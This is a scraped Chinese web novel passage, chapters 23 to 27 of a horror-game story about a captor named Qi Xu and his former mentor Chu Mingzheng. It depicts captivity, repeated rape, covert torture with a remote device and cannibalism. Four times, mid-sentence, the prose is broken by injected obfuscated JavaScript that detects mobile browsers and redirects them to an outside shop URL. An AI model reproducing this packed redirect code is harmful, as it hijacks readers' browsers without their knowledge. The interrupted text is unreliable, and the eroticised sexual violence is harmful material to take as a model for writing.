齐栩将自己的卧室设在了府邸的地下区域,进出需要密码和他本人指纹通过。 保姆司机帮佣们一概不得靠近。 楚明铮就被他关在卧室里,活动范围仅限于地下室那十来平米的方寸之地。 因为许久见不到阳光的缘故,楚明铮的身体变的格外虚弱,反抗的力气约等于无。 可今天他实在是太着急了,他必须知道楚小妙的具体情况,哪怕是再次激怒齐栩,换来更粗暴的惩罚也在所不惜。 “我知道她性格急躁泼辣,我被关在你这里这么久,她肯定会给你找麻烦,但是……你能不能不要伤害她。”楚明铮从床上往起挣扎,恳求齐栩道:“拜托了,看在你俩从小就认识的份上……” 齐栩眉心微微一动,似乎听到了什么很好笑的事情。 楚明铮平时傲的宁死不屈,在床上咬碎了牙也不肯哭叫一声的人,难得对他低声下气一回,居然还是为了楚小妙。 齐栩静静的坐在床上,注视着眼前又脆弱又狼狈的男人。 半晌,他伸手拍了拍楚明铮苍白的脸颊,脸颊上红晕淡染,带着剧烈运动过后的情潮,沾了齐栩一手的湿汗。 “师父,我今天是看你脸色不好,担心你太累了,身体吃不消,我才停下的。”齐栩握着他的手,温言道。 “既然你还不累,还有力气跟我说这么多的话……”齐栩一笑:“那我也就不必体贴你了。” 楚明铮惊喘一声,再次被人拦腰摔回床褥里,一时间眼冒金星,腿间酸涩,有温热流淌而出,这是齐栩方才还没来的及清理的东西。 他仰头躺在床上,眼泪倏然从眼尾滚落,紧接着他就被齐栩翻了个面,强行反缚住双手,抵在床褥里了。 “……你怎么会长成这个样子……” “什么?”齐栩果然听见了他濒临昏死之际,断断续续的控诉。 楚明铮浑身被泡的湿水淋漓,脆弱修长的脖颈扬起,冷汗流淌,将屈辱的疼痛隐忍到了极点。 “我说,你怎么会……长成这个样子……” 齐栩这回听清楚了,他笑了笑,俯身凑近师父的耳畔,声音很柔和的道:“因为师父教的好。” “我利用师父教我的本事,一路走到今天,师父应该欣慰。” 楚明铮闭着眼睛,蓦然将手指攥紧了,过去这么多天时日,他的身体已经被没日没夜的摧残调动的十分敏感,不多时就被齐栩折腾的痛苦喘息起来。 齐栩将他搂在臂弯里,感受着师父难以克制的战栗和泣声。 然后再伸出一只手,有一下没一下的拍着楚明铮的肩膀,仿佛安抚小孩子一般温柔。 “我可没教过你这些……”楚明铮被迫伏在他怀里,双眼失焦,神情已经力竭到涣散了,泛着红肿的嘴唇被蹂躏的太久,此时略有点合不拢,嘴角坠下晶莹的银丝线。 楚明铮疲惫的闭上眼睛,任由齐栩擦去他脸上狼狈的泪痕和水渍。 走到今天这步,他早就没什么尊严可谈了。 “你没教过我吗?”齐栩疑惑的问道:“可我怎么记得,这些都是师父教我的?” 楚明铮惨笑一声:“你现在为了合理化自己的暴行,已经开始往为师身上泼脏水了,齐栩,你可真是好样的。” 齐栩慢斯条理的将他从怀里捞出来,伸手一扯旁边的被子,裹在楚明铮青红交错,一片凄惨的身躯上。 这几下动作牵扯到了楚明铮的伤处,疼的他脸色又惨白了几分。 齐栩很耐心的将被子在他身上盖好了,这才盘起两条长腿,在床上坐的端端正正,在师父面前摆出一副好好说话的模样,十分认真的探讨道:“就是你教我的。” “人这辈子只能顾全自己,还有自己身边最重要的那么几个人,其他人的死活,都不必太过当一回事。”齐栩一字一句的慢声复述道。 “这话是你说的吧?”齐栩温文尔雅的问他。 楚明铮原本没精打采的耷拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646535|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼皮,沉沉靠在床褥里,仿佛下一秒就要累到虚脱了,然而齐栩此话一出,他就立刻清醒了:“我……” 楚明铮的神情霎时间变得极其惊惧,他难以置信的看着齐栩,蜷缩在被褥里的身体痉挛了起来。 “你是什么时候……” “对,就是你在二楼跟别人讲说,我只是楚小妙的心脏容器的那天。”齐栩安然自若道。 …… 楚小妙天生心脏不好,据说是娘胎里带出来的残缺,出生的时候,医生说这小女婴的存活率就只有百分之五十。 能成功活下来,还被养大已经是万幸了。 她爸没死之前,就花了大价钱带她到处求医问药的看病,国内最顶尖的医院都去过了,但都难以得到完全的根治。 后来她爸死了,她被楚明铮养大。 楚明铮自然也对她万般呵护,给这亲妹妹一样的女孩想了无数办法,只求她身体健康,平安快乐。 奈何天不遂人愿,楚小妙被卷进了副本游戏里。 游戏里鬼怪横行,血腥惊悚都司空见惯,心脏不好的玩家往往第一轮就会被淘汰出局,楚明铮见过上了年纪的老玩家,因为心脏上有基础病,进入游戏的第一天晚上被鬼怪贴脸一吓,登时就吓得双脚一蹬,归西了。 楚小妙已经很坚强了,但是好几次从副本里出来时,也都难受的捂着胸口蹙眉不语。 楚明铮向来冷静淡定,唯独在这件事上急的像热锅里的蚂蚁,团团转着不知道该如何是好。 他去找了个在副本世界混迹多年的老巫医帮忙。 老巫医长得像格格巫,坐在药香飘缈的茶室里,邪气十足的盯着对面的楚明铮,盯了好长时间都没错眼。 楚明铮不耐烦了,把银行卡往桌上一拍:“到底有没有法子,有的话咱少点墨迹,直接开价行么?” “我认识你。”老巫医慢吞吞的吐出几个字。 楚明铮:“……” 他看上去还是忍耐了一下,尽量和颜悦色的道:“说点有用的。” 这也不怪楚明铮觉得对方说的是废话,因为十年前的副本世界,基本没有人不认识楚明铮。 玩家排行榜上的总积分第一,本人名下的总副本过关数量堪称可怖。 而且是出了名的年轻俊美,证件照往排行榜上一放,登时吸来大量目光。 有他在的副本无一不自动划分为高阶本,按理说同组被分配到的玩家应该对此抱有怨言才是,毕竟好端端的正常副本平白无故被拔高了一个难度,换了谁都不高兴。 但是偏偏楚明铮实力极强,总能在最短的时间里找到通关方式,将伤害和遇难人数降到最低,故而众人都对他趋之若鹜,走哪儿都是被追捧的对象。 楚明铮虽然懒得理会外界这些虚无缥缈的名头,但是他对自己的实际情况还是有一定了解的。 比如此时此刻面对老巫医。 他坦然朝老巫医一伸手,示意道:“开价吧,我不缺钱,只要有能救我妹妹的办法。” 老巫医双手交叠,定定的看着他:“法子有是有的,就是有点缺德,你要听吗?” 楚明铮哂笑一声:“我这人最不讲的就是道德。” 老巫医想了一下,说道:“也是。” “讲道德的人混不到你今天这个位置。” 楚明铮就当他是夸自己了。 “去副本里,找个跟你妹妹年龄相仿的小孩。”老巫医慢慢摇着桌上飘摇的香氛道。 白雾似的烟尘飘渺而起,将楚明铮锋利的眉目晕染出一丝踌躇的色泽。 24.第 24 章 大雪无边无垠,漫长的炽白色淹没进视线里。 地上全是血迹,刺目的鲜红上散发着丝缕热气,断臂残肢零散而均匀的分布在雪地上,血水一路滴淌,那痕迹的尽头是一棵已经枯掉了的老树。 树干身后传来隐隐约约的哭声。 小齐栩抱着双膝,靠在树干上瑟瑟发抖,哭的一噎一噎的。 他已经被困在这个雪山副本里整整三天了,又冷又饿又害怕,身上全是逃命时在崎岖雪地里滚出来的伤,参与副本的玩家们已经死的差不多了。 死者里也包括了他的父母,就躺在他的不远处,破败的骸骨成为了雪地上的残肢之一。 小齐栩哆哆嗦嗦的在树干后卧着,心里的绝望像无尽的深渊,每过一分钟,就往下坠一分。 他不知道他还能在这个雪地里支撑多久,或者说,这个副本里横行的女鬼,还要多久会找到他。 枯树的树顶上缓缓垂落下一席的秀发。 飘荡而诡异的触碰到齐栩的脸颊上,小齐栩失声尖叫起来,连滚带爬就往雪地里冲。 女鬼就藏在树顶上,红衣黑发,一张死白死白腐烂的脸,倒立着直挺挺坠到了小齐栩面前,朝他伸出苍白的鬼手,口中腥臭翻涌,死亡的气息扑面而来。 小齐栩惨叫着朝外跑,身后鬼手越来越近,偏偏他脚下一个打滑,直接摔翻在地上。 他回过头,眼睁睁的看着女鬼逼近了他。 女鬼笑的很开心,她马上就要将这批玩家的命收割殆尽了。 极致的恐惧倒映在小男孩的瞳孔里,瞳仁瞬间放大,他几乎就要认命的接受自己的死亡了—— 一阵裹挟着冰碴的飓风顷刻间掠到身前,小齐栩被一双有力的怀抱蓦然抱起,拦腰往肩上一扛,满泼寒凉风雪灌进他的领口,紧接着瞬间跟女鬼拉开了距离! 齐栩死地求生,惊愕的什么话都说不出来,不知道过了多久,他们才甩开了女鬼的追杀。 齐栩被他的救命恩人从肩头放了下来,很安稳的坐在山洞里。 他这才看清楚对方的模样。 那是一个身形瘦削的年轻人,穿着黑色冲锋衣和长裤,大概是因为天气太冷的缘故,他的面容极其细腻冰白,在雪光的照映下冷冽秀丽。 “谢……谢谢。”小齐栩虚弱的缩在山洞一角,对那人结巴道。 年轻人没回答他这声谢谢,而是抬腿走到齐栩面前,从齐栩的角度看,对方的腿极其匀直修长,个子高出了一种压迫感。 尤其他眼神很冷,居高临下问话时更显气势:“你父母呢?” 小齐栩指了指外边白茫茫的一片冰原,带着哭腔道:“副本里死了。” 年轻人默然了片刻,最终点了点头,没说什么。 “你今年多大?” “十岁。” “家里还有别的亲人吗?” “没有了。” “想活下去吗?” “想……” 年轻人用那双冷漠而漂亮的漆黑眼睛注视着他,似乎在考量他这话的真实性。 小齐栩的眼泪再次在眶中凝结聚拢,“啪嗒”一声掉在了地面上:“我想活命,哥哥,你救救我。” 年轻人一言不发的望着他惨兮兮的哭脸,半晌语气很淡的道:“那你以后跟着我吧。” “我叫楚明铮。” …… 齐栩手心里握着师父给他的跌打药膏,三步并作两步走上阶梯,准备把剩下的药膏还给师父。 一楼到二楼的阶梯上铺了地毯,加上齐栩还在抽条期,吃饭的食量跟不上猛蹿的个头,整个人很瘦,体重也轻,像个动作灵活的小猫,两下就贴近了楚明铮卧室的门板上。 他伸手就要敲门,却听见门里传来细碎的谈话声。 “……我当初听你的,在副本里找了个跟小妙年纪差不多的小孩,你说找到小孩,就能弄出药方来,让他跟小妙心脉对调。” “现在我已经把这孩子养了七年了,你的药方呢?”楚明铮仍旧是他惯常那副既懒散又不耐烦的语气,还顺手敲了敲桌子,以示自己的不满。 齐栩站在门外,呆立住了。 “哎呦,我的小楚弟兄,不要着急嘛……” “谁跟你是弟兄?”楚明铮呵斥道:“你收我多少定金了,自己心里没点数?” “主要是吧,你找的这个小男孩,老夫观其面相,跟小妙也不匹配啊,你这——” “当初是你让我随便找一个,我就在副本里随便救了一个小孩,结果你给我拖了整整七年。”楚明铮一拍桌子,就差指着这老巫医的鼻子骂了。 “一直说不到时候,不到时候,也就是我在副本里保护及时,加上平时补心脏的药物一直没断过,要是哪天小妙的心脏真在副本里承受不住出了事,我第一个扒你的皮。” 老巫医又是一阵求饶陪笑,恨不得以头抢地。 末了他又找补道:“其实现在硬要对调的话也可以,就是风险系数会高一点,那个小男孩肯定就不用考虑了,死了就死了,问题是小妙的身体不知道能不能承受的住。” 楚明铮暴躁的摔了个东西,在里边骂了声“滚”。 “就这几天,我等不了了,你去给我再想个办法。”楚明铮下了最后通牒。 齐栩浑身血液降到了冰点。 他浑浑噩噩的一步一步,无声无息的走下楼梯,两条腿仿佛重逾千斤,每一步都挪动的艰难至极。 他不记得自己是怎样回到卧室的。 墙上的时针缓慢的转动过大半个表盘,少年齐栩在窗前的孤灯下,静默的坐了一整个晚上。 他下意识伸手想擦一下脸庞的时候,冷不防摸到了满掌心的冰凉泪水,眼眶涩的发疼。 …… 楚明铮发现齐栩最近不对劲,也说不上来是哪不对劲。 就是好像无时无刻都处于一个紧绷的防备状态。 楚明铮自己是个雷厉风行的性格,加上他每天很忙,按理说是不应该发现少年人的这些小细节的,奈何齐栩流露出来的警惕实在是太明显了。 早上进厨房盛早餐,楚明铮舀粥的手肘不慎碰了一下他的手臂,齐栩都能惊的直接跳起来。 然后在楚明铮不解的目光中,又若无其事的端碗出去了。 齐栩不光是对他一个人这样,他看起来还很害怕楚小妙。 他尽量不在楚明铮和楚小妙面前吃任何他单独吃的东西,就算是大锅饭,也仿佛有意识的等着他两人先动筷子,齐栩才碰。 有一次齐栩过完副本回来太累了,没跟楚明铮打招呼就径直回房间睡了。 楚明铮有事找他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我对你上过心吗?”楚明铮摇了摇头,残忍道:“抱歉齐长官,我不记得了。” 齐栩觉得自己跟楚明铮这种人辩驳真心与假意,与对着驴子谈爱情没有区别。 他无所谓的顶了一下楚明铮瘦削的胯骨,床褥间眼前人眉眼秀丽冰凉,一如当年。 “好吧,那我只好再来一次了,以免这回师父也学不会上心。” 欲海沉浮间,楚明铮一边被掀开被子粗暴的摆弄,一边昏昏沉沉的想起了当年跟老巫医那段对话的后半截。 他对老巫医下了最后通牒,说:“就这几天,你给我想办法,不然我连定金带利息一并找你要回来。” 老巫医一听要他的钱,急的火速起身:“行吧,那我今晚就给你手术,不过过程要血腥一点,先把你养的那个男孩带过来,我们试试……” “停。”楚明铮抬手止住他的话音:“你能给我找个不用伤害齐栩的办法吗?” 老巫医:“??” “你问的是人话吗?”老巫医情真意切的发问:“你不如让我直接凭空给你变个心脏得了。” “再说你这人好奇怪,养他不就是为了这一天吗,你——”老巫医张牙舞爪的朝这个难缠的客户崩溃道。 楚明铮的神色依旧冷漠而疏离,看不出太多情绪起伏,修长的指尖扣着桌面,良久才平淡的开了口。 “嗯,养的时间有点长了,我舍不得。” 25.第 25 章 “别把齐栩和我妹妹放一块,他还不配。”楚明铮淡淡的说完了这句话,然后开门进屋。 许祁川深吸一口气,将后牙咬的死紧,过了不知道多久,才缓和着自己的情绪,慢慢松懈下来。 腮帮子被他顶的生疼,阴冷的妒火在胸腔中横冲直撞。 他盯着楚明铮孤俏单薄的背影,半晌都没有举步上前。 楚明铮懒洋洋的回了一下头,招呼他道:“你愣着干什么,跟过来啊。” 许祁川连忙换上那副惯常笑容可掬的模样,一溜烟就追过去了:“来啦哥哥!” 两人走到餐桌跟前坐下,为数不多的幸存者们已经都在桌前坐好了。 九个小鬼也变成了八个,楚明铮旁边那个之前因为撒谎被女主人剥皮抽筋的小鬼再没有出现过,大概是做鬼又死了一次,眼下直接魂飞魄散了。 女主人坐在主位上,桌上烛火将她脸庞照的明润而微亮,往那一杵,恍惚间看起来竟像个活人。 楚明铮不知道是不是自己的错觉。 他觉得女主人,今天晚上看起来有点过度兴奋。 午夜十二点铃声叩响,餐桌上照常出现餐食。 小鬼们大口大口开始吃东西,其余玩家沉默着坐在位置上,一言不发,已经对眼前的恐惧呈现出疲倦了。 总归是要死的,饿死也比被尸水淋漓的蜡油蛋糕恶心死强。 楚明铮看了一眼女主人,又环视了一圈玩家们,最终将目光停留在眼前的饭菜上。 下一秒他的举动出乎了所有人的意料。 只见楚明铮伸手拿起一块蛋糕,径直送到了嘴边,张嘴咬下一口,若有所思的咀嚼了片刻。 他这举动来的既突然又猝不及防,连许祁川都没来得及阻止,等年轻人反应过来的时候,楚明铮已经把蛋糕咽下去了。 许祁川大惊,一把攥住他的手腕:“哥哥!” 楚明铮一手反掌将他推开,一手举着咬掉一口的蛋糕,目不转睛的盯着女主人。 女主人很意外的看着他。 许祁川看起来又担心又懊恼,气的团团转,不住的用眼神同楚明铮生气:你吃那玩意儿干什么呀!! 楚明铮慢斯条理的将那口蛋糕整个咽了下去,然后右手轻轻一松—— 蛋糕随之掉落在地上,连着松软的蛋糕胚和奶油固体砸下去,发出“啪”的一声。 全桌的玩家不约而同惊恐的注视着他,小鬼们也都纷纷停下吃饭的动作,诡异而整齐划一的拧头,朝楚明铮看过来。 楚明铮挑眉笑了笑,一抬下巴朝女主人示意道:“诺,我浪费粮食了。” 众人险些惊掉下巴。 此人疯了? 这么明晃晃的挑衅?! 女主人咧开嘴笑了起来,一双眼睛泛着幽然鬼光,小鬼们坐在桌子前蠢蠢欲动,有几个耐不住性子的小鬼,已经将虚空的脚尖落在了地面上,青白惨烈的小嘴巴一翻,露出一排森然鬼齿。 远看仿佛一桌子青面獠牙的鬼怪,瘆人至极。 许祁川心说不妙,他不动声色的将手背到身后去,掌心里握着一枚迷你遥控器,随时准备着从总控那边调人解围。 他猜不透楚明铮葫芦里卖的什么药。 但是他绝不会让师父出现任何危险,也绝不会看着楚明铮在自己眼前再寻死一次了。 “我赌你今晚没法再杀我一次。”楚明铮从地上掉落的蛋糕上,揩了一小块奶油,放在指尖轻轻捻磨,直到奶油细密的纹理被他的指腹打磨出黏腻的初始尸油形态。 “因为我已经食物中毒了,死期在明天早上。”楚明铮安然道:“对吧?” 女主人苍白鬼手交叠,没有否认,而是缓缓将双手放在桌面上,死白的瞳孔轻微转动着,看楚明铮的时候,就像在看她自己的猎物。 “趁我死之前的这个空档,不如我们来聊聊,你的女儿。”楚明铮轻轻叹了一口气。 女主人僵硬的手指节骨头“嘎嘣”一声脆响,手边烛影摇晃了一下。 “我猜她现在应该被你害惨了。”楚明铮温声道:“毕竟你杀了那么多她班上的同学,你猜她以后走在路上,会不会被人指指点点。” “这位懂得很多的玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16655647|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生。”女主人柔笑出声:“你多心了,不过看在你快要死了的份上,我不同你计较。” 楚明铮手上动作变的更为挑衅和放肆。 他伸长一只手臂,拿过了许祁川面前的蛋糕,一把将上边的奶油抓起来,放在掌心里把玩,不多时就将那块尸油蛋糕抓弄的泥泞一片,融化在掌心里,发出油脂本身腐烂而腥臭的气息。 “我也养过女儿。”楚明铮又道,说这话时他的神情变的很柔和,有那么一瞬间跟女主人眼光交错,女主人竟能奇迹般从中看出这年轻男人眼中化不开的牵挂。 “也不能说是女儿,她是个被我当女儿养的小妹妹,谁要是欺负她,我会让对方成百倍的偿还。” “杀人,分尸,切肉,做成菜给其他小朋友吃……这么极端的做法,我之前思路走偏的时候,也以为你是因为女儿被这些孩子欺负了,才这么做的。” 女主人神情一动,手很明显的哆嗦了一下。 “不过看起来事情没那么简单,是不是?” 一旁许祁川的脸色已经阴沉到极点了,他坐在楚明铮背对着的地方,楚明铮看不见他脸上神色,自然也听不见他拳头握紧时的咯咯声响。 许祁川反复的在胸腔里过了几遍气息,还是咽不下这口气,于是他将掌中微型遥控器轻轻一拨,随意的调式了几个格度。 只听楚明铮说话的气息瞬间不稳了起来,接连断续着喘息了几声,小腹传来和早上如出一辙的痛楚。 楚明铮心道一声该死,这中毒死亡的前兆怎么偏偏在这时候卷土重来。 许祁川在一旁冷眼注视着他的脸色变化,将遥控器收了回去,不再调动了。 师父还真以为他中毒了疼昏过去,再醒来就不疼了,是他自己身体强悍的功劳么? 许祁川心不在焉的回想他刚才跟女主人说的话,越想越生气,但是那遥控器却收回兜里没再往更高的档数调动过了。 楚明铮疼的嘴唇都在发抖,然而却目光却分毫不错,一字一句的盯着女主人。 “我觉得,你和你女儿,才是这个故事里最大的罪魁祸首。” 26.第 26 章 “你在撒谎,你女儿也撒谎了,这些孩子显然也撒谎了。” “换言之这个副本就是由谎言构成的,只要破开最外层的糖衣,其余真相就会像剥洋葱一样,全部褪皮去色显露出本来的面目。” 桌上的烛火将楚明铮一双锐利冷静的眼睛映的明亮而犀利,他朝女主人温和的笑了一下,提示道:“你可以动手了。” 女主人的面容瞬间变异,血盆大口倏然张开,歇斯底里朝楚明铮狂扑过来! 楚明铮猛然一蹬桌腿,整个身体向后倾斜,许祁川一惊,身体比思想反应更快一步,瞬间将手伸出去扶他。 然而在那千分之一秒的空档里,楚明铮有条不紊的做了三件事情。 第一,他身形后退的刹那间伸手向前,一把从女主人围裙的口袋里掏出了一部黑色的砖块状物,正是女主人的手机。 第二,他一脚踹开了扑上来的两三个小鬼,将手机揣进口袋里。 第三,他毫不犹豫,抬手攥住许祁川那只过来搀扶他的手,然后在对方震惊的目光中,一把将许祁川推向了血口大张的女主人。 “我这个人死也要先找一个垫背的。”楚明铮嘲弄的注视着女主人,然后指着许祁川对她示意道:“这条人命送你了,不谢。” 许祁川目瞪口呆。 楚明铮将许祁川的性命送出去拖延时间,趁这个空隙转身就跑,很快沿着黑压压的走廊没了踪影。 许祁川在被他拽着手腕送到女鬼眼前的前两秒,都十分茫然,没搞清楚发生了什么,楚明铮为什么变脸变的如此突然。 身后女鬼尖啸着将扭曲的面容送抵到他的脖颈侧,一口咬在许祁川的侧颈动脉处。 许祁川呆立在原地,毫无反应,浑然不知疼痛似的。 他能感觉到脖颈的血被浓重的阴气所裹挟着滚落出来,女鬼的怨气正一点一点蚕食着他的神志,撑死再过几秒钟,他就会被鬼魂掠夺去身体的控制权。 然后像最开始那几个拼命对着桌子磕头,活生生把自己脑壳撞碎,脑浆流一地的倒霉蛋一样,死的不能再惨。 然而许祁川一点挣扎的意思都没有,他此刻满心满眼的难过,心脏坠的发疼。 这不是他第一次被楚明铮抛弃了。 他印象里最后一次跟楚明铮过副本的时候,他就是这么被师父残忍的抛弃在原地的。 那个副本的最终关卡矗立着一个巨大的绞刑架,绞刑架的构造跟现实生活中的没太大区别,但是用处不一样。 简而言之这个绞刑架不是用来绞死人的,而是将一根绳索从高架杠杆上横跨着穿过去,然后在绳子的两端,各自吊两个玩家。 当时这个A级副本难打的要命,前期所有的凶险全都趟过之后,幸存者就剩下他,楚明铮,楚小妙,还有队伍里另一个名叫冉云帆的年轻男孩。 眼看着就要通关了,副本仿佛故意使坏心思,随机挑选了两名幸运玩家,一并吊在了绞刑架的两端。 这两个幸运儿就是齐栩和楚小妙。 齐栩一阵天旋地转过后,再次睁开眼睛,就险些没吓的惊叫出声来。 只见他整个人被倒吊在绞刑架旁边,全身重量都维持在身后的绑绳上,头朝下被吊着,全身血液直冲头顶,正脸面对着的,就是漆黑难测的深渊悬崖。 绞刑架另一头绑着的楚小妙已经吓哭了,她连动都不敢动,生怕绳子一断,跟齐栩一起掉下去,摔得粉身碎骨。 悬崖里的风凄厉而尖锐,齐栩强撑着自己的神志,勉强能听到一点对岸的声音。 “怎么办啊楚哥!”冉云帆焦急的问:“你看绞刑架上只有一根绳子,那不就意味着,割断了一边救人,另一边就得摔下去吗?” 楚明铮许久都没有答话。 冉云帆说的没错,这个绞刑架的设置就是逼着玩家二选一,只能选一边,在割断其中一边绳索的瞬间,另一头的绳子就会随之下滑,带着被缚的人摔下万丈深渊。 齐栩很艰难的抬了一下眼睛,有那么片刻,他跟楚明铮那双淡漠的眸子对视上了。 齐栩不想显得自己那么没出息,在这种时候哭出声来祈求楚明铮救救他。 但是人类对死亡的恐惧又是刻在DNA里难以磨灭的,他尽力的将眼睛又往上抬了片刻,试图以此能博得一丝生还的可能性—— “先救小妙。”楚明铮毫无波澜道。 齐栩在半空中伶仃飘荡着,巨大的气压将他的胸腔折磨的苦不堪言,他蓦然被逼出一口血水,等死的几秒过的比一个世纪还要漫长。 坠空跌落的一瞬间,齐栩听到了自己耳膜被撕裂的声音。 …… “哎,你们听说了吗,楚明铮徒弟好像死了。” “什么什么!这么大新闻,他们团队不是号称从无伤亡吗,怎么死的?” “就上一个本没的,我听说好几个公会领袖都提东西去他们基地慰问了。” “还得是楚明铮……这么多公会追着捧。” “废话,那可是全网积分第一,换了你你不想让他进你团队吗?” “那倒也是。” “哎你们说,他徒弟死了,那他还收新的吗?” “说什么疯话呢你!” “哎呀,那可是楚明铮,谁不想跟着他混,而且我上次开会的时候,在第一公会远远照见过他一眼……”说话者有意停顿了一下,引来一众追问。 “你说呀,快说呀!”众人焦急道。 那人“啧”了一声,点评道:“那长相太漂亮了,往那儿一坐身段跟模特似的,跟排行榜上的战绩记录一点都不搭边。” 话题围绕着楚明铮的过往,楚明铮的相貌,据说他宠爱的妹妹,以及他从前在副本里对哪位女玩家青眼有加过等一系列八卦徐徐展开…… 没人再提过楚明铮那个死去徒弟的事了。 就仿佛从来没有过这个人。 齐栩的名字被抛却在万千在副本里牺牲掉的死者中,他从小父母双亡,无亲无故,如今尘归尘土归土的时候,居然也几乎没人能记得起来他。 日子仍然十分平稳的向前推进,每天都有人在副本中生还或者死掉,所有人都以为这个格局会一直延续下去,直到这个辽阔的游戏彻底消亡的那一天。 转折点来的猝不及防。 一个十分寻常的午后,有网友突然发现,积分总榜上排名第一的那个位置,头像变成了灰色。 紧接着不出半个小时,账号呈现已注销状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16664162|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态。 再点进去细看,发现该账号一切过往副本战绩,道具积累,积分综合全盘清零。 又过了一时半刻,全网积分系统崩坏,主控总部集体停电,上上下下一片大乱。 网友玩家们炸翻了天,唯一幸存着的论坛吵的沸沸扬扬,猜测和阴谋论盖出一层又一层高楼。 一个小时后,主控恢复供电,积分排行榜刷新,人们陆陆续续登上网站查看。 只见原本位列第一的那个账号已经彻底没有踪迹了。 其余账号都正常。 全网搜索“楚明铮”三个字,出现的就是404。 三个小时不到,一个活生生的人被抹去了全部信息,至今无影无踪。 “卧槽楚明铮账号没了!” “这到底是怎么回事!@第一公会管理员,说句话呀,是不是你们得不到就把楚大佬谋害了?” “楼上的,第一公会领袖要是拿楚明铮有办法的话,他早就动手了,再说这直接总控断电,修改网站信息抹杀账号也不是公会能做到的。” “……会不会是主神?” “楼上别胡说八道,这是违禁词,你想让帖子被封吗?” “可除了他谁还能有那么大权限?!” “谁杀了楚明铮,到底是谁杀了楚明铮!” “朋友们,楚明铮的综合实力和运气在所有玩家里都排行第一,如果他都能被不明力量这么轻易的抹杀的话,那我们的安危怎么保障?” “我们这辈子还有出去恢复正常生活的可能吗!” ……沸反盈天,吵嚷不休。 一切的暴乱与惊恐的猜忌,直到齐栩上台后,才彻底的没人敢议论了。 许祁川任由女鬼枯瘦的白骨爪掐上了自己的喉管,窒息的感觉缓缓淹没了他,面前的一切都变的恍惚起来。 许祁川从头到尾都面无表情,直到窒息的最后一刻。 “咔嚓!”空中一声骨节寸断的声响。 女主人愕然低头,盯着自己的手指骨,她发现自己攥住许祁川脖颈那只手的指尖,正在克制不住的颤抖。 坚硬的指骨在干瘪的死人皮里碎裂成粉末状,剧痛席卷,她嘶叫着不得不放开手上的猎物,握着自己的手指惨叫出声。 许祁川叹了口气,拍了拍身上被鬼魂沾上的阴气,表情看起来略显嫌恶。 餐厅里几个幸存的玩家都被他这气定神闲的模样给吓到了,一时没想明白他是怎么从鬼手中就这么悠闲的挣脱开来的。 “许小哥你……”之前跟楚明铮搭档的年轻女孩子颤声问:“你是人是鬼啊?” 许祁川笑了,举步从女主人身前走了过来,小鬼们站在原地不敢作声,或者说它们不敢靠近许祁川,但仍然十分怨毒的看着玩家们。 许祁川很随意的挥了一下手,在地上勾勒出一个朱砂绘成的圆圈,将在场所有人都框进了去。 “别离开这个圆,它们就伤不了你们。”许祁川淡淡道。 众人皆是一脸将信将疑的神色。 许祁川耸肩摊手:“信不信由诸位,我先走一步。” “我哥哥刚才跑出去找线索了。”许祁川云淡风轻的道:“我现在要把他,带回来。” 27.第 27 章 楚明铮并不着急。 他从餐厅出来之后脚下步履就慢了起来,不紧不慢的整理了一下袖口和领子,循着印象里的方向,摸黑找到了女主人的卧室,进屋回身,关门。 卧室里泛着腥臭而潮湿的水汽,一切布置都跟前夜他跟许祁川来的时候一样。 真相就在这间屋子里,只是会藏在哪儿呢?或者是说这个副本的真相找与不找,究竟还有没有意义。 楚明铮背靠着门板,眼底神情复杂而斑驳。 最终他还是叹了口气,起身走到公主床前,伸手扳住床垫,稍加用力就将它抬起来了。 床垫下藏了一张报纸,楚明铮将女主人的手机从口袋里拿出来,打开手电筒,明亮的光芒将报纸上的图片与文字照的格外清晰。 报纸日期被人涂抹掉了看不清楚,头条上赫然几个大字。 “震惊!!我市一小学突发案件,九名孩子被托管班阿姨残忍杀害!令人发指!” 这种夸张的标题和语气一看就是那种无良街头小报的做派,楚明铮攥着报纸,面无表情的一行行看了下去。 具体的案件过程楚明铮扫了一眼,讲的是一个在学校门口开托管班的女人,出于信誉等各种原因,生意做不下去了。 于是起了报复心理,在校门口将九名孩子骗回家中杀害。 再将他们的尸体依次处理,割下尸肉放入大锅中油炸烹烤,用过了尸体的油水油渣做蛋糕,煎肉排,再配上香喷喷的大米饭做成数份盒饭。 